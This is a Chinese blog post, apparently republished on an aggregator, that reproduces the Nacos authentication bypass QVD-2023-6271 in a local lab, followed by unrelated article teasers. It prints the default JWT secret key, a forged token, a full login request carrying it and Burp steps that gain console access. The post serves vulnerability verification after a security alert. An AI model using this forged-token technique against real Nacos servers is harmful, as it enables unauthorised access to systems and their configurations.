Nacos身份绕过漏洞复现(QVD-2023-6271)

news/2024/5/20 13:00:51/文章来源:https://blog.csdn.net/cangyu51462/article/details/130324138

Nacos身份绕过漏洞复现(QVD-2023-6271)

公司上级预警QVD-2023-6271,领导安排进行排查。
本着知己知彼的原则,我在本地将该漏洞复现出来。

漏洞原理:Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

一、环境安装

vwmare 安装 win10环境 (略)

java安装

我这里使用的是jdk-11.0.2_windows-x64_bin.exe。
下载地址:jdk下载

安装后记得配置环境变量,这里需要注意一下环境变量,因为nacos是使用的JAVA_HOME作为java的环境变量,path里面添加java的路径作为环境变量是无效的。

需要在环境变量里面新建JAVA_HOME,指定jdk的安装位置。
在这里插入图片描述

nacos启动

下载地址:nacos
要下载nacos版本小于2.2.0,版本高于2.2.0的话漏洞就修复了,没法复现了。
我这里使用的是2.2.0版本。
在这里插入图片描述
解压后,接入D:\nacos\bin(对应的解压路径)的cmd,输入启动命令

startup.cmd -m standalone

在这里插入图片描述
访问登录界面。
在这里插入图片描述

二、获取cookie

时间戳准备

我们实现先准备个时间戳,需要大于当前系统时间,我现在时间是2023年4月23日,我构造了2023年4月24日的时间。
时间戳构造网页连接:时间戳
在这里插入图片描述

使用nacos默认key可进行jwt构造

nacos默认key(token.secret.key值的位置在conf下的application.properties)

SecretKey012345678901234567890123456789012345678901234567890123456789

PAYLOAD:DATA

{"sub": "nacos","exp": 1682308800
}

jwt网址:json web tokens
在这里插入图片描述
得到了一串值。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4

burp发送数据包

通过构造数据包发送,可以在返回包获取到cookie。
其中用户名和密码都是自己构造的,实际上nacos不存在这个用户。
在这里插入图片描述
请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4username=najcos&password=nacjos

三、 burpsuite修改数据包

开启代理,打开经典的火狐浏览器

截取登录数据包

将刚才返回包得到的构造的cookie和用户密码填入到数据包里面

在这里插入图片描述
右击选择Do intercept–>Response to request
在这里插入图片描述
点击Forward,发现这里报500错
在这里插入图片描述
没关系,找到之前的构造cookie的返回包
复制全部内容,粘贴到里面,点击Forward!!!
在这里插入图片描述
关闭代理,查看浏览器。
成功绕过。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_669008.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开放式耳机有什么好处,分享几款高畅销的开放式耳机

开放式耳机是一种声音传导方式,主要通过颅骨、骨骼把声波传递到内耳,属于非入耳式的佩戴方式。相比传统入耳式耳机,开放式耳机不会堵塞耳道,使用时可以开放双耳,不影响与他人的正常交流。开放式耳机不会对耳朵产生任何…

短视频app开发:如何实现实时短视频录制功能

简介 在当今的移动互联网时代,短视频app已经成为了人们生活中不可或缺的一部分。短视频app的数量和用户量都在不断增加。如今,越来越多的人开始关注短视频app的开发,尤其是如何实现实时短视频录制功能。本文将分享如何开发短视频app并实现实…

DataStructure--Tree

文章摘录链接 1.树基本概念 计算机数据结构中的树就是对显示中的树的一种抽象(倒置现实中的树)。 1.1 树 有层次关系N(N≥0)个节点的有限集合空树: N0 非空树: 有且只有一个根节点1.2 节点 根节点 分…

java: Compilation failed: internal java compiler error

问题描述: 今天学习一个新的框架 Jbolt-v3.0,然后将它通过 IDEA 导入,运行报错,如下显示: 接着我尝试了百度上的解决方案,依然没有解决,遂即记录一下。 原因分析: 出现这种报错的原…

Linux下版本控制器(SVN) -服务器端环境搭建步骤

文章目录 进阶知识-Linux下版本控制器(SVN)4、服务器端环境搭建步骤4.1 安装服务器端程序4.2 验证是否安装成功4.3 创建并配置版本库4.4 配置 SVN对应的服务4.5 启动 SVN服务 本人其他相关文章链接 进阶知识-Linux下版本控制器(SVN) 4、服务器端环境搭建步骤 4.1 安装服务器端…

带你一步步实现代码开发平台——概述、实现模式、整体框架

概述 低代码开发平台是一种开发工具,它允许用户使用图形界面和少量编码来创建应用程序。这种平台的目的是加快应用程序开发速度,减少开发成本和技能门槛。目前,市场上有许多低代码开发平台可供选择,包括Microsoft Power Apps、Ou…

六、Golang的并发

Go语言的并发指的是能让某个函数独立于其他函数运行的能力。当一个函数创建为goroutine时,Go会将其视为一个独立的工作单元。这个单元会被调度到可用的逻辑处理器上执行。 Go语言运行时的调度器是一个复杂的软件,能管理被创建的所有goroutine并为其分配执…

Spring之Bean的配置与实例

Spring之Bean的配置与实例 一、Bean的基础配置1. Bean基础配置【重点】配置说明代码演示运行结果 2. Bean别名配置配置说明代码演示打印结果 3. Bean作用范围配置【重点】配置说明代码演示打印结果 二、Bean的实例化1. Bean是如何创建的2. 实例化Bean的三种方式2.1 构造方法方式…

NewBing 边栏快捷插件没有了!如何解决?如何脱离浏览器使用 New Bing?

作者:明明如月学长, CSDN 博客专家,蚂蚁集团高级 Java 工程师,《性能优化方法论》作者、《解锁大厂思维:剖析《阿里巴巴Java开发手册》》、《再学经典:《EffectiveJava》独家解析》专栏作者。 热门文章推荐…

[世界读书日] 最好的书,都在博雅之中

今天是世界读书日(4月23日),还是谈谈读书。 我很少看到有人说读书不好的,但很少看到有人爱读书,也很少看到有人读到了好书。 好书、好读书、读好书,都是很稀缺的。 一、好书的作用 基本上,我们遇…

NFC 学习笔记 5 MFRC522读写器2 NDEF

NDEF简介 NDEF(NFC Data Exchange Format)是一种标准化的数据格式,用于将数据存储在NFC标签或智能手机中。该格式是NFC论坛定义的,目的是在不同的NFC设备之间交换信息。 NDEF格式可以存储各种类型的数据,例如URL、文本…

参数与非参数检验:理解差异并正确使用

数据科学是一个快速发展的领域,它在很大程度上依赖于统计技术来分析和理解复杂的数据集。这个过程的一个关键部分是假设检验,它有助于确定从样本中获得的结果是否可以推广到总体。 在这篇文章中,我们将探讨参数与非参数检验之间的区别&#…

第3章:select

1.最基本的select语句 select … from…select 字段1,字段2,…from 表名* 表中所有字段(列) 2.列的别名 字段1 as 别名1字段1 别名1as:alias(别名)可以省略如果别名有空格使用一对””引起来…

pycharml利用ddddocr和selenium识别验证码并登录

文章目录 1OCR2 ddddocr3使用案例4 常见问题代码详情获得XPATH方法 1OCR OCR (Optical Character Recognition,光学字符识别),是指电子设备(例如扫描仪或 数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符…

[Platforimio] LVGL +TFT_eSPI实现触摸功能

💥💥💞💞欢迎来到本博客❤️❤️💥💥 本人持续分享更多关于电子通信专业内容以及嵌入式和单片机的知识,如果大家喜欢,别忘点个赞加个关注哦,让我们一起共同进步~ &#x…

【LeetCode训练营】反转链表 移除链表元素 详细图解 203,206

💌 博客内容:LeetCode 训练营 😀 作  者:陈大大陈 🚀 个人简介:一个正在努力学技术的准前端,专注基础和实战分享 ,欢迎私信! 💖 欢迎大家:这…

谁在成为产业经济发展的推车人?

区域发展的新蓝图中,京东云能做什么?它的角色是什么?这个问题背后,隐藏的不仅是京东云自身的能力和价值,更是其作为中国互联网云厂商的代表之一,对“技术产业”的新论证。 作者|皮爷 出品|产业家 关于云…

配置zabbix自定义监控项

1.需要安装zabbix-agent服务,使用的zabbix版本为5.0版本 参考:zabbix监控linux主机_Apex Predator的博客-CSDN博客 2.创建存放脚本目录并编辑监控服务的脚本(此处监控一下服务是否存活) mkdir /opt/zabbix_jb vi /opt/zabbix_jb/service_status.sh …

进阶必看 | 有关BIMer强推的5本书,看过的都竖大拇指!

大家好,还是我,建模助手。 本期的主题都是围绕着:热点。除了建模助手的品牌资讯之外,还有一些与行业相关的热点。 这不,4月23日是正好的世界读书日,给大家搞一波书籍推荐! 小编认为&#xff…

24从零开始学Java之如何正确地使用一维数组

作者:孙玉昌,昵称【一一哥】,另外【壹壹哥】也是我哦 千锋教育高级教研员、CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者 前言 在之前的文章中,壹哥给大家讲解了java里的顺序结构、分支结构、循环结构等内容&#xff0…